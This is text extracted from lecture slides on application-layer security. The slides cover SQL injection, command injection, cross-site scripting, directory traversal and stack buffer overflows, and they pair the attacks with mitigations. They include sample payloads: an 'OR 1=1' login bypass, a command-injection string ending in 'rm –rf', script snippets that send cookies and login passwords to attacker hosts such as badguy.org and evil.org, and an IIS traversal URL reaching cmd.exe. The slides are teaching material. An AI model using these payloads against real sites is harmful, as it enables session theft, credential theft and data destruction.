Application. Application Layer Security. Protocols. Some Essentials. Attacking the Application Layer. SQL Injection

(1)

Application

Layer Security

Application

Layer Security

Presentation TCP Data Link Physical UDP IP Session Application

Protocols

File Transfer Protocol (FTP)

Telnet

Simple Mail Transfer Protocol (SMTP)

Hypertext Transfer Protocol (HTTP)

Secure Shell (SSH) Protocol

Secure Electronic Transmission (SET)

Protocol

Secure Socket Layer (SSL) Protocol

Some Essentials

“92%

of vulnerabilities are in software”

--NIST

“75%

of hacks occur in the application

layer”

--Gartner

Attacking the Application Layer

SQL Injection

The injection of a carefully crafted query to

deceive the authentication process. Here is

a sample query:

“SELECT * FROM USERS WHERE username=‘john’ AND password =‘ 12345’ OR 1=1 “;

(2)

Attacking the Application Layer

Command Injection

The injection is done by supplying the web

server with one or more command strings

attached to the expected input. Here is a

sample:

Attacking the Application Layer

Command Injection…

And here is the PHP handler for this:

<?php system(“finger {$_POST[‘uname’]}”); ?>

If the input is “guest” or “jdoe”, there is no problem. Some information about user “guest” or “jdoe” are displayed.

What if the input is “jdoe; rm –rf /home/guest/*.*”

Attacking the Application Layer

Cross Site Scripting

Cross site scripting (XSS) allows the

attacker to inject code into a web page

that will be executed when a different user

visits that page.

Possible because the input was not

properly sanitized before using it as an

output.

Most popular XSS attack is the harvesting

of authentication cookies and session

management tokens.

Attacking the Application Layer

Cross Site Scripting…

Two main categories:

1. Reflected Vulnerabilities – a script is embedded as a CGI parameter of a URL. http://trustedsite/search.asp?criteria=<script>

document.location.replace

(‘http://badguy.org/steal.cgi?’ + document.cookie); </script>

(3)

Attacking the Application Layer

Cross Site Scripting…

Two main categories…

2. Stored Vulnerabilities – occurs when the malicious script is stored on the vulnerable server. It takes advantage of the trust level placed on the vulnerable server to execute its malicious intent.

Attacking the Application Layer

Cross Site Scripting Summary

1.

Attacker looks for a site where users must

authenticate to gain access and that

tracks the user through cookies or session

IDs

2.

Attacker finds an XSS vulnerable page on

that site, say

http://trustedsite/account.asp

Attacking the Application Layer

Cross Site Scripting Summary

3. Attacker creates a link to that site, embeds it in an email message, and use the message in a spam

4. Embedded in that special link are codes to copy the victim’s cookie back to the attacker. Here is a sample: <img src=“http://trustedsite/account.asp?victimcookie= <script>document.location.replace(‘ http://badguy.org/steal.cgi?’ + document.cookie); </script> “ >

Cross Site Scripting

Email:You’ve won! Click here!

Vulnerable Web Server

Web Browser: Welcome back! Hacker’s Computer <script> MaliciousScript( ) </script>

(4)

Attacking the Application Layer

Summary of XSS Proof-of-Concept

Revealing cookies http://host/a.php?variable="><script>document.location ='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

Revealing posted form items

<form> action="logoninformation.jsp" method="post" onsubmit="hackImg=new Image;

hackImg.src='http://www.malicioussite.com/‘ + document.forms(1).login.value'+':'+

document.forms(1).password.value;" </form>

Attacking the Application Layer

Typical XSS Payload Formats

<img src = "malicious.js">

<script>alert(‘Hello’)</script>

<iframe = "malicious.js">

<script>document.write('<img

src="http://evil.org/'+document.cookie+'")

</script>

<a href="javascript:…">click-me</a>

Attacking the Application Layer

Cross Site Scripting Vulnerability Checking

1. For each visible input field, try the following scripts: <script> alert(‘XSS vulnerable’) </script>

<img try=javascript:alert(‘XSS vulnerable’) > --a popup indicates vulnerability.

2. For each visible variable, enter the following string: ‘ ‘ ; ! --”<XSS_danger>= &{()}

--the special characters in the string must be filtered; their unfiltered presence may indicate a possible vulnerability.

(5)

Attacking the Application Layer

Mitigating Cross Site Scripting Attack

Use the HTTP-Only cookie attribute (available to IE v6 and above). Here is the cookie format:

Set-Cookie: <name>=<value>[;

<name>=<value>] [; expires=<date>][; domain=<domain_name>] [;

path=<some_path>][; secure][; HttpOnly]

Now, the cookie can not be accessed by scripts

Attacking the Application Layer

Mitigating Cross Site Scripting Attack…

Validate the user-supplied input. In C#, we can use regular expression such as

Regex r = new Regex(@"^[\w]{1,40}$"); if (r.Match(strName).Success) {

// String is ok…continue processing } else {

// String is invalid…terminate

}

Attacking the Application Layer

Tampering with POST data

Use an HTTP Proxy to intercept POST data and edit it before sending it to the server.

Attacking the Application Layer

Directory Traversal Attack

Traversing out of the current directory into

the parent directory by a series of “../” . Due

to poor input validation.

Microsoft’s IIS Web Server was exploited in

2000 for failure to validate input encoded in

Extended Unicode.

http://victim.com/..%c0%af..%c0%af../winnt/system32/ cmd.exe?/c+dir

(6)

Buffer Overflow

- occurs due to the size of

data being written in the buffer

is larger than the available space

causing a possible execution of

malicious code.

Attacking the Application Layer

Buffer Overflow

Q:What happens when this is executed? A:Depending on what resides in memory at

location “buffer[20]”

Might overwrite userdata or code Might overwrite systemdata or code

int main( ) { int buffer[10]; buffer[20] = 37; }

Source: Information Security by Mark Stamp

Simple Buffer Overflow

Consider boolean flag for authentication Buffer overflow could overwrite flag allowing

anyone to authenticate! buffer F T F O U R S C … Boolean flag

In some cases, attacker need not be so

lucky as to have overflow overwrite flag

Memory Organization

Text==code

Data==static variables

Heap==dynamic data Stack==“scratch paper”

Dynamic local variables

Parameters to functions

Return address stack

heap ↓ ↑ data text ←_high address ←_low address ←_SP

(7)

Simplified Stack Example

high →

void func(int a, int b){ char buffer[10]; } void main(){ func(1, 2); } : : buffer ret a b ←_return address low → ←SP ←SP ←SP ←SP

Smashing the Stack

high →

What happens if

buffer overflows?

: : buffer a b ←ret… low → ←SP ←SP ←SP ←SP ret overflow

Program “returns” to

wrong location

NOT! ???

A crash is likely

overflow

Smashing the Stack

high →

Attacker has a

better idea…

:: evil code a b low → ←SP ←SP ←SP ←SP retret

Code injection

Attacker can run

any code on

affected system!

Smashing the Stack

Attacker may not know

Address of evil code Location of reton stack

Solutions

Precede evil code with

NOP“landing pad”

Insert lots of NOP

evil code : : : : ret ret : NOP NOP : ret ←_ret

(8)

Stack Smashing Summary

A buffer overflow must exist in the code

Not all buffer overflows are exploitable

Things must line up correctly

If exploitable, attacker can

inject code

Trial and error likely required

(help available online )

Also possible to overflow the

heap

Stack Smashing Example

Program asks for a serial number that the

attacker does not know

Attacker also does not have source code Attacker does have the executable (exe)

Program quits on incorrect serial number

Example

By trial and error, attacker discovers an

apparent buffer overflow

Note that 0x41is “A”

Looks like retoverwritten by 2 bytes!

Example

Next, disassemble

bo.exe

to find

The goal is to exploit buffer overflow to

(9)

Example

Find that 0x401034is “@^P4” in ASCII

Byte order is reversed? Why? X86 processors are “little-endian”

Example

Reverse the byte order to “4^P@” and…

Success! We’ve bypassed serial number check

by exploiting a buffer overflow

Overwrote the return address on the stack

Example

Attacker did not require access to the

source code

Only tool used was a disassembler to

determine address to jump to

Can find address by trial and error Necessary if attacker does not have exe For example, a remote attack

Example

Source code of the buffer overflow

Flaw easily

found by

attacker

Even

without the

source

code!

(10)

Stack Smashing Prevention

1st choice: employ non-executable stack “No execute”NX bit(if available)

Seems like the logical thing to do, but some real code

executes on the stack! (Java does this)

2nd choice: use safe languages(Java, C#) 3rd choice: use safer C functions

For unsafe functions, there are safer versions For example, strncpyinstead of strcpy

Taxonomy of Software Security Errors

1. Input Validation and Representation

Buffer Overflow

Command Injection

string val=Environment.GetEnvironmentVariable("APPHOME"); string cmd = val + INITCMD;

ProcessStartInfo startInfo = new ProcessStartInfo(cmd); Process.Start(startInfo);

Cross Site Scripting Log Forging

string val = (string)Session["val"]; try { int value = Int32.Parse(val); } catch (FormatException fe) {

log.Info("Failed to parse val= " + val); }

Source: www.fortifysoftware.com

Taxonomy of Software Security Errors

1. Input Validation and Representation…

Path Manipulation

String rName = Request.Item("reportName"); File.delete("C:\\users\\reports\\" + rName); Suppose the input is

..\\..\\Windows\\System32\\krnl386.exe SQL Injection

Setting Manipulation--do not allow untrusted data to control sensitive values

list.set_Capacity(

(int) Request.get_Item("numItems") );

Taxonomy of Software Security Errors

2. API Abuse

Dangerous functions Heap inspection

Do not use realloc() to resize buffers containing sensitive information

Exception handling Unchecked return values

FileInputStream fis;

byte[] byteArray = new byte[1024];

for (Iterator i=users.iterator(); i.hasNext();) { String userName = (String) i.next();

String pFileName = PFILE_ROOT + "/" + userName; FileInputStream fis = new FileInputStream(pFileName); fis.read(byteArray); // the file is always 1k bytes fis.close();

processPFile(userName, byteArray); }

(11)

Taxonomy of Software Security Errors

3. Security Features

Insecure Randomness

Use cryptographic PRNG rather than statistical PRNG Missing or weak access control

conn = new SqlConnection(_ConnectionString); conn.Open();

int16 id = System.Convert.ToInt16(invoiceID.Text); SqlCommand query = new SqlCommand( "SELECT * FROM

invoices WHERE id = @id", conn); query.Parameters.AddWithValue("@id", id);

SqlDataReader objReader = objCommand.ExecuteReader(); Password management

Hardcoded passwords or cryptographic keys

Taxonomy of Software Security Errors

4. Time and State

Failure to begin a new session upon

authentication

Insecure temporary files

File access race condition (TOCTOU) if (!access(file,W_OK)) {

f = fopen(file,"w+"); operate(f); ... } else {

fprintf(stderr,"Unable to open file %s.\n",file); }

Taxonomy of Software Security Errors

5. Handling Errors Poorly or Not at All

Poor Error Handling Return inside finally

Empty catch block

Unexpected behavior may go unnoticed Overly broad catch and throws blocks

Taxonomy of Software Security Errors

6. Code Quality

Utilization of deprecated code Uninitialized variable

Referencing memory after deallocation Portability Flaw

Leads to inconsistent implementation from one

platform to another

Memory Leak

Leads to resource exhaustion

(12)

Taxonomy of Software Security Errors

7. Encapsulation

Comparing classes by name

Information leak through HTML comments Data leaking between users

Cloneable objects

Public data being assigned to private array field

Source: www.fortifysoftware.com TCP Data Link Physical UDP IP Session Application People

People Layer

Security

People Layer

Security

Presentation

The 10 Immutable

Laws of Security

im·mu·ta·ble (ĭ-myōō'tə-bəl)

adj. Not subject or susceptible to change. –American Heritage Dictionary

Ten Immutable Laws of Security

1. If a bad guy can persuade

you to run his program on

your computer, it’s not your

computer anymore.

(13)

Ten Immutable Laws of Security

2. If a bad guy can alter

the operating system on

your computer, it’s not

your computer anymore.

Source: http://www.microsoft.com/technet/archive/community/columns/security/essays/10imlaws.mspx